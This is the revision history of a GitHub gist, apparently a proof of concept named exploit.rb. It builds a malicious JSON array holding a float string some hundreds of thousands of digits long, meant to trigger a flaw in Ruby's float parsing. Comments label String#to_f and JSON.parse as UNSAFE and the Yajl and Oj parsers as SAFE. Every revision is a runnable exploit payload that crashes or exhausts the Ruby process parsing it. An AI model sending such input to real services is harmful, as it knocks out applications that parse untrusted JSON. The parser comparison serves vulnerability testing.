Skip to content

Instantly share code, notes, and snippets.

@vpereira

vpereira/exploit.rb

Forked from jacopen/exploit.rb
Created November 27, 2013 16:51
Download ZIP

Revisions

  1. @jacopen jacopen revised this gist Nov 25, 2013. 1 changed file with 3 additions and 1 deletion.
    4 changes: 3 additions & 1 deletion exploit.rb
    View file
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,6 @@
    require 'yajl'
    require 'json'
    require 'oj'

    def digit_pattern
    digit_pattern ||= rand(10000).to_s
    @@ -27,4 +28,5 @@ def evil_float_string

    #evil_float_string.to_f #UNSAFE
    #JSON.parse sploit #UNSAFE
    #Yajl::Parser.parse sploit #SAFE
    #Yajl::Parser.parse sploit #SAFE
    #Oj.load sploit #SAFE
  2. @jacopen jacopen revised this gist Nov 25, 2013. 1 changed file with 3 additions and 2 deletions.
    5 changes: 3 additions & 2 deletions exploit.rb
    View file
    Original file line number Diff line number Diff line change
    @@ -25,5 +25,6 @@ def evil_float_string
    sploit << evil_float_string
    sploit << ']'

    JSON.parse sploit #UNSAFE
    #Yajl::Parser.parse sploit #SAFE
    #evil_float_string.to_f #UNSAFE
    #JSON.parse sploit #UNSAFE
    #Yajl::Parser.parse sploit #SAFE
  3. @jacopen jacopen revised this gist Nov 25, 2013. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions exploit.rb
    View file
    Original file line number Diff line number Diff line change
    @@ -25,5 +25,5 @@ def evil_float_string
    sploit << evil_float_string
    sploit << ']'

    JSON.parse sploit #UNSAFE
    Yajl::Parser.parse sploit #SAFE
    JSON.parse sploit #UNSAFE
    #Yajl::Parser.parse sploit #SAFE
  4. @jacopen jacopen revised this gist Nov 25, 2013. 1 changed file with 5 additions and 3 deletions.
    8 changes: 5 additions & 3 deletions exploit.rb
    View file
    Original file line number Diff line number Diff line change
    @@ -1,15 +1,16 @@
    require 'yajl'
    require 'json'

    def digit_pattern
    digit_pattern ||= rand(10_000).to_s
    digit_pattern ||= rand(10000).to_s
    end

    def integer_part
    digit_pattern
    end

    def multiplier
    (500_000 * (1.0/digit_pattern.size)).to_i
    (500000 * (1.0/digit_pattern.size)).to_i
    end

    def fractional_part
    @@ -24,4 +25,5 @@ def evil_float_string
    sploit << evil_float_string
    sploit << ']'

    JSON.parse sploit
    JSON.parse sploit #UNSAFE
    Yajl::Parser.parse sploit #SAFE
  5. @jacopen jacopen created this gist Nov 25, 2013.
    27 changes: 27 additions & 0 deletions exploit.rb
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,27 @@
    require 'json'

    def digit_pattern
    digit_pattern ||= rand(10_000).to_s
    end

    def integer_part
    digit_pattern
    end

    def multiplier
    (500_000 * (1.0/digit_pattern.size)).to_i
    end

    def fractional_part
    digit_pattern * multiplier
    end

    def evil_float_string
    [integer_part,fractional_part].join('.')
    end

    sploit = '['
    sploit << evil_float_string
    sploit << ']'

    JSON.parse sploit